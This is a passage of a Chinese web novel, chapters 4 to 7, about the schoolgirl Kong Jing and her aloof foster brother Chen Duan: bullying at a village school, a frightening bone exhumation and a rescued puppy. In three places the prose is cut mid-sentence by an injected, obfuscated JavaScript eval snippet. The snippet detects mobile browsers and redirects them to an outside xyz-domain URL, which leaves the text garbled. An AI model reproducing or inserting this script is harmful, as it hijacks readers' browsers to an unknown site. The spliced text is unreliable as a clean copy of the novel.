她不动声色地扫一眼屋内,李贤梅头也不转地说:“别看了,你爸爸带他出去吃香的喝辣的了。” “哦。” 李贤梅听出孔净隐藏的失落,瞥她一眼,“这下好了,有了陈端,你爸爸出去喝酒更不会带你了。” “哦。” 李贤梅不太满意孔净的反应,她停下来,“你脾气还好嘛,爸爸被抢了也不发个火。” 孔净观察妈妈的表情,认真问道:“那,我应该怎么发火?” 李贤梅没好气地“哼”一声。 暑假一晃就过,九月初孔大勇骑着摩托车威风凛凛地带着孔净和陈端去学校报道。 孔大勇给孔净班主任递烟,麻烦他多关照两个孩子。 孔净也是在这个时候才发现比她小一岁的陈端居然和她同级,这学期也读三年级。 村校规模小,每个年级只有一个班。陈端被班主任领进教室,站在讲台上简短地做自我介绍。 “好耶!”阿禾很兴奋,大力拍掌欢迎新同学。 陈端虽然年纪小但是个子挺高,班主任把他安排在教室后面靠门的倒数第二排。班主任还特意强调,“陈端是孔净的弟弟,大家要像对待孔净一样和他好好相处。” 前排那个喜欢调皮捣蛋的男生立即转过头,“你弟弟?亲的?为什么你们一个班?哈哈我知道了!因为你是笨蛋!” 孔净低头用抹布擦桌子,阿禾小声替孔净呛他:“你见过考第一名的笨蛋吗?你每次考试都垫底,你才锈抖咧!” 陈端提着书包从旁边过道走过,他也听到了男生和阿禾的对话,可他没有任何反应,也没有看位置挨着过道的孔净。 孔净当然也不会看他。 班里同学基本都是本村人,午饭就近回家吃。石材厂离学校不算近,来回跑太耗时间,孔净一般都带饭吃。阿禾也凑热闹,央求阿嬷做了蚵仔煎,上面铺上一层薄薄香香的肉松。 中午,喧嚣的教室回归宁静,阳光照着窗外那株随风轻摆的柳树,在课桌上落下翎羽似的淡影。 孔净和阿禾就在这淡影中打开各自的饭盒,彼此分享朴实又美味的食物。 以前,两个小女孩一定一边吃一边叽叽喳喳说个不停,但是今天教室后排多了一个对着饭盒沉默咀嚼的陈端,孔净和阿禾也变得安静了。 阿禾耐不住,两边腮帮子鼓鼓囊囊,趴在桌子上做贼一样朝后排看一眼,然后凑近孔净,“他带的四什磨?好像很好吃诶!” 孔净不想回答,因为阿禾的声音真的很大,被陈端听到她们在议论他,好奇怪。 可是阿禾一点自觉也没有,从孔净这儿没得到回应,咽下嘴里的食物之后,举起手里的筷子兴高采烈地转过身,“陈端!你要不要吃蚵仔煎?我分你一点好不好?作为回报你把你的分给孔净——她超想吃你带的饭!” “胡说!我没……咳咳!”孔净被呛到,阿禾手忙脚乱帮她拍背。 教室后排传来椅子腿划过地面的声音,阿禾实时播报,“他出去了耶,好冷漠哦。” 孔净把她一心二用快拍到自己脸上的手拂开,小声吐槽:“拜托,谁要吃他的!都是我妈妈做的,一点没差好吗。” “我知道啊。” “……” 孔大勇嘱咐过孔净,陈端不识路,放学后要领他一起回去。 下午放学,孔净斜坐在座位上慢吞吞地收拾书包,视线装作不经意地朝后排方向扫去。 阿禾急着回家去田里打鹅草,晚了会被阿嬷骂,她背着书包双脚高频率跺地就像尿急,“快点啦孔净!陈端已经走了,你还在等什么!” 孔净一愣,回头,正好看见背着淡蓝色书包的单薄背影走出后门。 孔净赶紧把习题集塞进书包,一边拉拉链一边起身,但是又不能表现得太急,好像她很想和他一起回家一样。 等孔净又急又不急地走出教室,陈端已经不见了。 孔净顾不上和阿禾说再见,飞快从操场后门的石阶跑下去。 可是一路上哪里还有陈端的身影! 最糟糕的是,她回到石厝也没有看见他。 晚霞映红了西边天,孔净飞奔回学校的小路,这个时候两边田地里劳作的村民已经陆续归家,不远处的林子鸟叫声声、树影昏暗。 孔净又害怕又着急,就在她快要急出眼泪的时候,一个单薄身影从前面高一些的田埂上站了起来。 孔净仰头,声音很闷:“你在这里做什……” 她注意到陈端走路的姿势有点奇怪,身影被田埂边长势茂密的野草半遮,跳下小路上时左边裤管抻起,露出一截的小腿布有红紫淤青。 “你摔倒了?”孔净睁大眼睛立刻跟上去。 陈端抿着唇艰难保持着走姿,眼里像是根本没有孔净这个人。 孔净烦透了,“谁让你先走的!爸不是让你等我吗?” “我跟你说话,你听不见吗?” “要不是怕被爸爸骂,我才不会回来找你!” …… 孔净气死了,无论她说什么陈端都装听不见,他是不是聋的啊?! 她很想越过他快点回家,可是几次加快脚步又都慢了下来。 好可怜。 先前阿禾的话在孔净脑海里飘过,她老成地叹一口气,东扯扯草西打打蚊子,为照顾前面“负伤”的人散步一样缀在陈端身后。 黄昏的橘红日光把两个小孩一前一后的身影拉得很长,融进夏末的田野里。 接下来的日子,陈端也都是一放学就走。刚开始孔净怕他迷路,要么追,要么蹲在半道上等,要么回家之后又没见到人,只得像开学第一天那样气哄哄地回去找。 但无论是以上哪一种,陈端都没有对孔净表示过哪怕一丁点的感谢或者歉意,更别提主动和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180464|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孔净结伴。 有次孔净像只没头的苍蝇在田野和丛林里找了一个多小时,最后实在没办法,抱着侥幸心理再走回学校,却看到陈端在教学楼后身的垃圾站旁边靠墙坐着,书包掉在一侧,里面的东西四散,铅笔都被折断十分刺目地倒插在墙根的泥地上。 孔净忽然明白他身上那些不时露出端倪的淤青是怎么造成的了。 她走过去蹲在他面前,轻声说:“你可以告诉老师,也可以告诉爸爸——” “滚。” 陈端的声音没有任何恶意,只是平静地陈述他想要独处的需求。 孔净闭上嘴巴,连日来受的委屈使得她要努力把眼睛睁到最大才不会让眼泪掉出来。 她站起来就走了。 孔净真的没有再等陈端,之后也没有。 孔大勇发现两个孩子并不亲近,甚至可以说是冷漠。因为孔净是姐姐,他就告诫孔净:“你要多照顾弟弟!” 孔净不像以前那样听话地点头,她咬着嘴唇不说话。 李贤梅见孔大勇还要就这个话题发表酒后观点,反问道:“还要怎么照顾?陈端就是这个性格,你看见他和哪个耍得来了?” 孔大勇想了想,也是,他把嘴一咧,很双标地感叹:“男子汉生来就是要忍受孤独!” 李贤梅听着这不知从哪部古惑仔电影里听来的台词,忍不住翻了个白眼。 她私下对孔净说:“别听你爸的,你做得对。” 孔净倍感迷茫,她其实什么也没有做。 正因为放弃了做点什么的权利,所以她才会闷闷不乐并且受到孔大勇的苛责。 孔净从小就没有过生日收礼物的记忆,可是开年之后在她十岁生日之前,她大着胆子询问李贤梅,她今年能不能许一个愿。 李贤梅以为孔净要买东西,却听见她说想再铺一张床,自己睡,不分给别人。 李贤梅终日在厂里忙得脚不沾地,孔大勇又总不在家,他们对孩子的管教只能算得上管吃管住有学上,再多就没有了。 以至于陈端来了半年多还是和孔净挤一张床,并且至今没有分配到一个像样的枕头。 想到两个孩子再小也男女有别,李贤梅爽快答应了孔净的要求,没过几天就让两个工人把一张上下铺的铁架床搬进石厝,换掉了孔净以前那张架在四根石条上的木板床。 铁架床是从附近中学宿舍淘汰下来的旧货,生了锈,四条腿不齐,就算垫了石块和硬纸片,上下人时还是会发出咯吱咯吱的细响。 但是孔净很高兴,她睡下铺,陈端睡上铺,她再也不用和讨厌的人共享一个私密空间了。 名义上是姐弟,但任何场合无论是在家还是在学校孔净和陈端都像陌生人一样,一过就是三年多。 孔净十二岁,陈端十一岁,他们一起上了六年级,还是同一个班。 如果没有后来的小插曲,孔净觉得他们或许会永远保持这个模式。 但人生就是这样,总有意外发生。 5. 第 5 章 昨晚忽然下了场大雨,风把窗外那株黄葛树的枝丫都吹断了一根。 早上起来已经放晴,孔净上学时远远看见不远处的林地里影影绰绰围了许多村民,她因为怕迟到所以没去凑热闹。 到了教室,阿禾神秘兮兮地问孔净想不想长见识。 做了快四年的同桌,孔净一看阿禾的表情就知道有诈,“不想。” 阿禾点点头,“你想!非常想!” 中午放学,阿禾盯着孔净快点把饭吃完,连饭盒都没来得及洗两个女孩子就手牵手飞奔出校门。 林地里围观的村民要比早上那会少了许多,却聚了许多同样来“长见识”的小学生。 孔净站在外围,听见前面的学生发出一阵阵讶异和害怕的吸气声。 孔净悄声问阿禾:“里面在做什么?” 阿禾一副见惯了的表情:“捡骨啰。” 孔净还没把这两个字和脑海里的词库对上号,视线透过晃动的人缝看见最里面有个穿道士服的男人,把一张点燃的符纸朝空中一甩,然后对着飘飘下落的灰烬作了个揖之后,俯身小心翼翼地将本来埋在地里但因为雨水冲刷而露出一半的陶罐掀了开来。 罐子里的东西一霎暴露在眼前,空气瞬间像是凝滞了,然而很快,小学生们此起彼伏发出惊呼,并且因为害怕三三两两推搡着往后退。 孔净脑袋空白一刹,因为画面太突然,远超她所能承受的范围,她目光呆滞被钉在了原地。 “我、我想尿尿……” 同样目睹那个画面的阿禾手脚发软,脸色惨白地碰了碰孔净。 孔净如梦初醒,沉默地拉着阿禾转身离开。 两个女孩子完全没了来时的兴奋,她们脚步虚浮,眼神发虚,已经进了校门口了还是感觉后背发凉,好像那片林地的树荫尾随还笼罩在她们身上。 孔净陪阿禾去教学楼后面的公用厕所,阿禾没忍住,站在水槽前“哇”地一声就吐了。 孔净也没好到哪里去,整个下午都神游太虚,恹恹的像生了一场重病。 下午放学,孔净挣扎地回头看了眼后排陈端所在的方向,张了张嘴,最后还是忍住了。 她背着书包满怀恐惧地回家,途经那片林地,她头也不抬地盯着脚下的路以最快的速度迈动步子,几乎变成了顺拐。 陈端今天走得晚,在后面始终离孔净七八米远,他面无表情地看着前面的人埋头奔窜,青天白日活像有鬼在追她。 晚饭时,孔大勇也在,李贤梅今天给厂里工人结算工资时出了一点小差错,孔大勇在外人面前向来把霸||权主义发挥到极致,当即就骂了李贤梅一句,“瞎了眼睛!” 李贤梅和以前一样没回嘴,但是心里一直憋着气,晚饭只有两个素菜并且在放盐时都不甚手抖。 她见孔净捧着饭碗发呆,没好气地问:“怎么,嫌菜不合胃口?” 孔净摇摇头,顿了顿,把白天发生的事说了。 孔大勇呵笑一声,半是嘲讽半是玩笑地说:“你们胆子还大嘛!” 李贤梅觉得丈夫脸上的笑意尤其刺眼,她哼一声,“说谎也不打草稿!哪个信你!” 她说孔净是为了骗零食才不好好吃饭,还编出这种只在崂山道士电影里出现的阴森桥段。 孔净百口莫辩,她又不能领着李贤梅去林地里走一圈。 晚上要盯着工人们装货,李贤梅和孔大勇都去厂里了。孔净受了惊吓,又被李贤梅骂,晚饭只吃了几口。 夜里,她蜷缩在床上只觉得胃里一阵重过一阵地抽痛。 孔净在黑暗里一会儿睁眼一会儿闭眼,惊惧又痛苦地翻来翻去。 铁架床被她的动作弄出喑哑难听的响声,睡在上铺的人不堪其扰,终于,被子一掀,踩着侧边的爬梯几步就轻盈落在了地上。 孔净猛然看见蚊帐外出现一个灰白长条身影,身体本能地打摆子,在她惊叫出声之前,陈端走去摁亮了照明灯。 紧接着,传来铁门被打开又合上的声音,陈端出去了。 虚惊一场,孔净撑起的脑袋重重落在枕头上。 胃还是痛,她也还是怕,铁门和木窗都是镂空的,月光把不属于这幢孤零石厝的暗影邀请进屋,为孔净脑子里的鬼魅画面敲锣吹号。 孔净很想去厂里找爸爸妈妈,但是她不敢下床,床底下有只白骨森森的骷髅手。 她绝望地祈求,快回来个人,快回来个……活人吧! “咔哒!”铁门忽然被推开,孔净条件反射用力一颤,随即动作迅速地掀开蚊帐,“妈——” 穿白色短袖衣裤的小小少年对上孔净的视线,默然看着她眼里的光亮慢慢变暗。 他微微喘息着,走到铁架子床前,面无表情地将手里的东西递给孔净。 孔净看见透明塑料袋里装着的东西,惊讶地说不出话来。 陈端见她迟迟没接过去,就把袋子放在了她的床边。 然后两手一攀,又回到了上铺。 整个过程,他没有同孔净说过一句话。 塑料袋的提手有点潮带着余温,孔净根本想不到他是去哪里弄到一板止痛药以及一盒绿豆糕的。 这么晚了,斜坡下的那个小卖店早就关门了,而且李贤梅很少或者根本没给过他们零花钱。 孔净因为这突如其来的物资投递而忘记了床底下的骷髅手,她轻手轻脚地下去,用瓷碗倒了点暖壶里的热水,抠了颗止痛药服下。 她坐在吃饭的理石桌边,斜对着铁架床,捧着瓷碗的手是暖的,眼睫颤啊颤,视线终是越过碗沿如卷帘一般撩起,投向铁架床的上铺。 白色蚊帐里,小小少年盖着一条已经洗得脱了色的深蓝毯子,安静平躺,已经睡着了。 之后,陈端还是独来独往,好像那板止痛药和绿豆糕从来没有出现过。 或者说他那样做完全是为了让孔净安静下来,不要打扰他睡觉。 可是孔净却没办法再用先前那种冷硬的态度对他了。 经过几年的同吃同住以及同班,孔净其实已经大概摸出了陈端的脾性,他也许算得上孤僻,但从来不会像表弟赵长和班里那些男生一样揪女孩子辫子、放毛毛虫在别人的笔盒里,成绩虽然一直不上不下但老师布置的作业都按时完成,他不捣蛋不出风头,给口饭就吃,给张床就睡。 可以说安静得有点乖了。 但是孔净并没有像对女生朋友那样拿出绝对的热情来对陈端,她只是默不作声地暗自做些“小动作”。 比如早上装饭盒时会把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180465|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两份一起装了,并且如果李贤梅没看着,她就会把本就不多的肉挑出来装到陈端的饭盒底部,然后盖上超量米饭压实。 再比如书包里永远揣多一把雨伞,当天如果下雨了而陈端正好没带伞,她就会在课间趁着没人看见的时候把多出来的那把伞飞快塞进陈端的桌肚,然后再若无其事地走开。 “你们在玩什么?”阿禾说孔净像个猥琐的新手特务,这是她从台剧里新学来的台词。 孔净捂她嘴,“特务就特务,你才猥琐!” “本来就是!啊——陈端回来了!”阿禾呜呜丫丫地指向教室后排。 孔净被她骗多了,才不信。 “真的啦!”阿禾好不容易挣脱,大力吸进一口新鲜空气后,笑容洋溢地转身冲后面挥手,“嗨!” 后桌男生用铅笔戳一下阿禾碍眼的手臂,“不要脸!爱男人!” 班里同学很多已经进入青春期,海峡两岸不分家沿海一带连村校都被台湾偶像剧席卷,早熟的孩子自以为很懂,满口情啊爱的,偶尔还会鹦鹉学舌地蹦出“如果道歉有用的话,还要警察干嘛”之类的金句。 阿禾拿起放在桌上的课本就往男生头上拍,她用闽南语凶神恶煞地骂道:“菜椒(菜鸟)!” 男生被打了也不生气,缩着脖子悻悻然去摸自己的脑壳。 孔净避免被他们波及,起身站在过道上,扶着桌子的时候视线往后排轻快一掠,陈端坐在座位上摸到桌肚里的折伞,脸上没什么表情,并不惊讶它是什么时候放进去以及谁给的,顺手就放进了挂在桌侧的书包里。 下午放学,孔净和陈端也并不结伴,回家的只有一条,两个身影一前一后中间隔着不远不近的距离,安静穿过夕阳洒金的田野回到厂区。 孔净发现很久之前陈端的身上就再也没有出现可疑的淤青,他的书包也不会再无缘无故被扔到窗外。 但她不知道陈端做了什么,能让学校里那帮连老师和家长都放弃的混混不但和他井水不犯河水,甚至有时还对他有些闪躲。 另一方面,因为陈端独来独往的做派,他不知不觉成了班里和低年级女同学私下谈论的焦点。 阿禾决定先下手为强,“等上初中,我要请陈端拍大头贴!” “这么有钱,不如请我吃仙草冻。”孔净埋头写作业,轻快搭话。 “仙草冻不用花钱,我阿嬷就会做!” “我知道啊,所以想吃。” “小意思啦,周六老地方见。我带上仙草冻,你带上陈端!” “突然不想吃了。” “吼!” 周六,孔净当然不可能叫上陈端,她提着一兜子杨桃脚步轻盈地朝森林里那棵芒果树进发。 然而,一个多小时后,她和接上头的阿禾跑出森林,鬼鬼祟祟地蹲伏在石厝的窗子外面,身后的阿禾快速伸头朝屋里看一眼,然后推推孔净,“快点啦!‘一条’要挂了!我们需要帮手!没有人比他更合适! “拜托,你爸爸是黑涩会老大诶!老大的女儿怎么可以见死不救!” 孔净:…… 半晌,她上半身往上拱了拱,从窗户边露出半个脑袋,清清嗓子,略显别扭又假装自然地冲屋里喊道:“陈端,那个、出来一下可以吗?” 6. 第 6 章 孔大勇和李贤梅照旧不在,屋子里安安静静的,不知道从什么时候开始陈端不再把所有闲余时间都耗费在电视上了。 他斜靠在铁架床的上铺,支起的一条腿上放着一本摊开的空白本,手里的铅笔在纸张上发出沙沙声。 他很专注,比平时写作业认真多了,孔净喊了好几声,他才迟疑地转头看向窗外。 斑驳的竹条窗扇半开,孔净的下半张脸被挡住,这显得她的眼睛尤其晶亮活泼。 这很少见,在此之前孔净从来不会这样绝对友善且坦然地看陈端。 隔着蚊帐看不清陈端的表情,但想也知道他大概是没表情而让人觉得冷淡的。 在阿禾和“一条”的双重注视下,孔净没办法,硬着头皮挤出一个笑容,形状似猫眼的眼眸温度和熙,和九月的天朗气清一样使人想亲近。 “你出来一下,就一下。” 孔净伸出一根细长的食指对着屋里的人晃了晃。 终于,白色蚊帐被掀起一角,陈端搁了笔本翻身下来。 孔净心想,还好,陈端没有让她在好朋友面前过分丢脸。 “你很有爱心对不对?”陈端刚走出门来,阿禾就咋咋呼呼地迎上去,“不要否认!当了这么久的同学我真的很了解你!我知道你一定会帮我们也会帮一条!” 阿禾一边说一边把怀里的小东西举起来,伴随着几声可怜巴巴的“呜呜”,陈端发现那是一条狗。 一条小小的可能才一个月大的黑狗,额头上一条白色竖纹。 “你看它好喜欢你!来嘛,抱抱它!感情就是这么建立的!” 阿禾热情至极,把一条往陈端面前塞。 在被小黑狗举起的肉爪子碰到之前,陈端往后退了一步。 阿禾看出陈端的抗拒,“吼!是我看错你了!长得帅但是没爱心的男生照样逊色!你完蛋了,我决定不请你拍大头贴了!” 孔净:……他好像没有说过很想和你去拍大头贴呢。 “一条受伤了,上次你从哪里买的止痛药?我们想给一条治疗。”附近没有药店和诊所,宠物医院这种高端场所她们更是听都没听过,镇里倒有医院但是很远。 孔净阐明需求,让陈端放心,她们不是要把一条甩给他。 阿禾特意把一条受了伤的后腿露出来,话说得风凉:“可怜的一条,幸运遇到我和孔净,但是又有什么用,人家陈端根本不想救你,铁石心肠!” “……”孔净跟陈端说,“你只要指一下路,我们自己带一条过去。” 面对阿禾和孔净天衣无缝的红脸白脸左右夹击,陈端顿了顿,出乎意料平静开口,“我带你们去。” 阿禾惊喜极了,她向陈端保证不等上初中了,过年拿了压岁钱就请他去玩! 孔净也很高兴,一蹦一跳走在陈端另一边。 可是她很快想到另一个问题,“你买药的地方贵吗?我没有很多钱……” 孔净每周末和阿禾相约森林老地方不光是玩,她们主要是捡一种能食用的蘑菇,切片晒干之后由阿禾拿去卖给村里专门收山货的阿伯,以此攒下为数不多的零花钱。 陈端却说:“不用钱。” 半个小时后,孔净和阿禾被陈端带进森林,站在开采石料留下的人造石坑前。 风过树摇,悬崖一般的巨大石坑让人眩晕。 孔净和阿禾知道这里,坑底目测比学校操场还大,垂直距离比六层教学楼还高,因为害怕掉下去她们每次都只敢远远看一眼就鸡皮疙瘩满身地跑开。 “等一下!!”陈端身姿敏捷地纵身一跳,孔净吓死了,“你小心……” 她趴在地上往下看,小小少年稳稳落在底下低一截的石台上,然后没有迟疑地往下接连跳去,初秋的阳光澄净鎏金,微风鼓起他的衣角。 很快,陈端的身影被错落凸起的石台遮住,然后又在碎石子声中折返。 陈端两手撑着使力同时身子往上一荡,像是会轻功一样就跃了上来。 他左肩上多了一只小号旧书包,孔净觉得这个包应该是他很小的时候背过的,红色布料已经褪了色但是打理得很干净,看得出来主人很珍视。 孔净有点奇怪,原来安静寡言的陈端以前也喜欢这种鲜艳张扬的色彩。 那么他是从什么时候又为什么不喜欢了呢? 陈端在树荫下找了块干净的石头,把包里的东西拿出来,一样一样整齐摆放,跌打喷雾、红药水、筋骨片、止痛药、纱布…… 阿禾惊呆了,“少侠,崖底是不是有一个洞,洞里有一只雕?!” 因为上下一趟耗费体力,陈端微微喘着气,净白的皮肤在阳光星斑下透着薄红,看起来要比平时有生气得多。 他没回答阿禾跳脱又喜感的问题,一条腿跪支在地上示意阿禾把小黑狗放下。 陈端利落地帮小黑狗检查后腿,判断只是扭伤之后用了点喷雾,以防小狗误舔喷雾中毒,他还从书包里翻出一本册子,撕下两页裁剪之后,配合胶带做了一个伊丽莎白圈套在狗脖子上。 阿禾佩服死了,她在请客拍大头贴的基础上加码舔上一支冰淇淋。 孔净思绪跑偏,想到陈端从来没同大人们说过他和学校里那些混混的纠纷,也许身上的伤都是来这里处理,这些药也是因此一点一点存下来的。 因为小黑狗额头上的白色纹路,阿禾在路边看到它的第一眼就给它取名“一条”。 一条是一只被遗弃的受了伤的小奶狗,阿禾不敢带回家,因为阿嬷讨厌狗,绝对不会准她养。 孔净也犯难,李贤梅也不喜欢狗。 两个女孩子对视一眼,都有些沮丧。 陈端把东西收回包里,扫见孔净低垂的眼眸不似刚才那样鲜活,不知道出于什么心理,他忽然说:“先养在这里吧。” “这里?哪里?!——崖底!真的有雕兄!!!” 阿禾跳起来,抱着一条围在陈端身边,认定他就是英雄。 陈端没有因为溢美之词而沾沾自喜,他安静从阿禾手里接过一条,然后小心把它放进包里。 孔净犹豫一瞬,在他再次跳下巨石坑之前喊住他,“你等会上来时把包背着……一条没洗澡,可能会弄脏你的包,我是说——” “对对对!我们帮你洗包!”阿禾反应过来,大力点头表示赞成。 陈端站在令人目眩的石坑边缘,回头看了眼孔净,大抵是孔净眼里的真诚一点也不掺假,又或者是刚才一块救狗的举动快速拉近了他们之间的距离,他第一次正面应了声,“嗯。” 孔净清亮的眼瞳微微睁大,对着陈端也第一次露出了百分百的笑脸。 孔净和阿禾决定先把一条安置在石坑底下,等周一去学校之后再慢慢询问班上有没有同学可以收养它。 但是这就意味着,在一条被正式收养之前,他们需要帮一条养好伤以及照顾它的饮食。 ……好吧,因为阿禾住在远离厂区的村子里,所以这个“他们”指的是孔净和陈端。 于是,两个本来相处别扭的小孩忽然有了一件需要互相协作才能完成的事情。 孔净每天早上装饭时,不仅要给陈端多分点,还要趁着李贤梅不注意偷偷给一条装一份。他们很有默契地像从前一样冷冷淡淡地前后走出石厝,拐过土包,确认不会被李贤梅和孔大勇发现之后,就会迅速结伴奔向森林里的巨石坑。 具体实施投喂的步骤自然落在陈端身上,孔净趴在石坑边看着他敏捷而轻盈地跳下去,在等待他回来的过程里,金色的晨光穿透薄薄的云层轻柔照亮整片森林,孔净忽然觉得这个像从山体身上活生生挖出来的巨大伤口一样的石坑其实也没有那么可怕了,反而有些奇幻,还很美丽。 由于班里迟迟没有同学给出肯定答复可以收养一条,阿禾只好把目标转向低年级的同学。 课间,阿禾和孔净徘徊在其他班级的门口,见着一个女生就问:“哈喽,你喜欢小狗狗吗?” 有次被一个老师撞见,还以为她们小小年纪就生出生意头脑在搞宠物贩卖。 阿禾只对同龄女生和看起来就没有什么伤害性的男生大大咧咧,面对让她有压迫感的人就会变成“软怂”,孔净被推出去,她对着老师审视的目光灵光一闪,冒出一句从新闻台学来的话,“其实、我们是在做民意调查。” ? 村校就这么大,孔净是少有的外地学生并且每次考试稳拿第一,没有哪个老师不认识她。 老师抬了抬眼镜,“这么厉害,你以后要不要当总统?” “额……”孔净说:“不是总统,是省长。” 老师哈哈大笑,“立场很鲜明嘛。” …… 总之,孔净和阿禾一直找不到妥善的人收养一条,她只好和陈端每天早晚两次风雨无阻地往返森林。 有次,李贤梅无意间远远看见孔净猫腰在土包后面等陈端,等到之后两个小孩相视一笑,默契非凡跑开的身影像两只快乐小鸟。 傍晚她从厂里回来,烧了半桶热水准备拎着去厂里的公用淋浴间洗澡,收拾衣服时眉头紧皱,她把孔净叫出屋,“你去小卖店买一包卫生巾。” 孔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180466|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净愣愣地看着李贤梅伸手递来的钞票,十分难为情。 过了年她就十三岁了,可是学校从来没给学生们上过生理卫生课,妈妈和厂里嬢嬢们若是说起相关话题也总是遮遮掩掩,这让身体已经出现某些小变化的孔净倍感迷茫和羞耻。 “这点事都办不到,我养你这么大有什么用?”李贤梅语气失望又生气,她冷哼道,“倒是背着我和外人走得近!” 孔净捏着李贤梅给的钱走去小卖店,一路上都没想明白妈妈口中的外人指的是谁。 黄昏时刻小卖店人头攒动,店门口几条长石上几个工人或蹲或站用手中的廉价啤酒慰劳一天的辛苦,里边小小的店面堆满各种杂货日用品甚至衣服,来买东西的男女老少几乎要将这处空间挤破。 孔净做贼一样从货架上拿了东西就往柜台前走,飞快把已经捏出汗渍的十元钞票扔给老板娘。 老板娘看一眼被她捂在怀里只露出一角的卫生巾,了然地对她笑笑,“大女孩了哦!” 孔净两颊要烧起来了,“不是我……” 老板娘做了个“安啦安啦别害羞”的手势,孔净快要昏厥。 抓起找零,以胃痛捂肚子的姿势藏住那包卫生巾,转身逃离。 李贤梅还没回来,孔净把找零和东西一并放在她床头用被子盖住。 听见背后有人出声,羞耻情绪还没完全消退的孔净差点弹跳起来。 陈端刚才出去了,回来就看见孔净鬼鬼祟祟背对着站在李贤梅和孔大勇的床前。 “孔净,怎么了?” 因为背着大人共同喂养一条的微薄情谊,陈端对孔净不再像以前那样寡言,但说的也不算多,并且他从来不喊孔净姐姐,清清淡淡的语气总是连名带姓。 “没、没事……”孔净欲盖弥彰地用手扇在脸边降温,一直被忽略的性别意识突然在此刻冒头,她对上陈端视线,才发现原来他的瞳仁不是全然的黑,而是从浓黑到深灰、浅灰,由中间向边缘过渡。 孔净看见他淡蓝牛仔裤两边膝盖泛白,是擦着石头被磨过的新鲜痕迹,于是顺畅转移话题:“你去看一条了?” 陈端说,“喂了根火腿肠。” 陈端不像孔净每周都去采蘑菇,但他似乎有一套自己的攒钱方式,不过孔净从来没有越界问过。 “它还好吗?”孔净问。 “嗯。” 孔净从床前走开,“我也想去看看它。” 窗外光线暗淡,最后一点橘光微弱地伏在西边的厂房上空,太晚了,她知道这个设想不成立。 陈端看她,“走吧。” 孔净惊讶,“可是……” “很快就回来。”陈端淡声一句,已经转身往门外走了。 孔净怔怔看向他的背影,心情一瞬雀跃起来,她快步跟上。 孔净只需要拿着手电筒坐在石坑上面等,等陈端把一条从底下背上来,她撸完小狗之后,陈端再把一条送下去。 整个过程没用半小时,孔净不用出半分力气,陈端上上下下仿若有求必应的阿拉丁神灯。 日暮时分的蓝调时刻,森林上空被淡紫和淡蓝晕染,两种颜色很快就会融为一体,揉成缥缈的冰蓝,这是独属于远离城市的夜晚色调。 森林里很安静,手电筒射出一束蓝白色光柱,随着孔净的步伐微微荡漾在回程的路上。 “一条会不会害怕?”孔净忽然问。 陈端走在孔净身侧,手电流动的光晕映出他已然褪去婴儿肥的侧脸,线条颇为流畅可观,孔净转头看一眼,意外他在不知不觉中已经长成了少年模样。 “不知道,”陈端说,“这个问题你应该问狗,而不是问我。” 孔净“啊”了一声,“又没人说你是狗……你脑回路好好笑!” “可能吧。” “可能?原来你都知道啊!”孔净问他,“你小时候就是这样吗?我是说更小的时候。” 陈端说:“不记得了。” “你记性好差!” “我觉得还好。” “哈哈!”孔净被戳中笑点,因为她能感觉到陈端并不想和她继续无聊的对话,但是孔净说一句,他还是会敷衍回一句。 就这样,在毫无营养并且有些鸡同鸭讲的对话中,他们在手电光柱的引领下走出了森林,石材厂机器加工板材的轰鸣声如潮水般涌来。 孔净转头看向身后似有鬼魅蛰伏的浓密树影,惊奇地想,她刚才不但没有很害怕,居然还笑得那么开心。 再回过脸来看看身边的人,奇怪,以前怎么会觉得他讨厌? 7. 第 7 章 孔净与陈端前后隔了十来分钟回到石厝,李贤梅已经洗完澡正在准备晚饭。 因为先前的事,李贤梅余气未消,又见孔净黑天了还往外跑,她“笃笃笃”地用力剁肉馅,“你还真是孔大勇的种!逮到机会就跑!外头有金还是有银?怎么没见你带回来一点!” 明明陈端比孔净回来得更晚,但是李贤梅只骂孔净。她的声音并不大,绵里藏针,孔净乖觉地过去帮忙打下手,李贤梅剜她一眼,“作业写完了吗就在这里晃!” 孔净轻声说:“写完了。” “写完了也不知道预习明天的课本。”李贤梅其实并不清楚上六年级的孔净在学什么知识,她在心情不好的时候会习惯性挑刺。 这时,孔大勇回来了,拎着两瓶冰啤酒和一小袋熟食,瞧一眼屋内,挺高兴的样子。 李贤梅就闭上了嘴巴,不再说什么。 孔净看一眼妈妈的表情,还是走到桌边坐下从书包里掏出语文课本,开始温习。 饭还没做好,孔大勇已经用筷子起开一瓶啤酒,仰头一口气灌下大半,看见靠在铁架床上铺的陈端,他笑呵呵喊道:“儿砸,下来陪爸爸喝一口!” 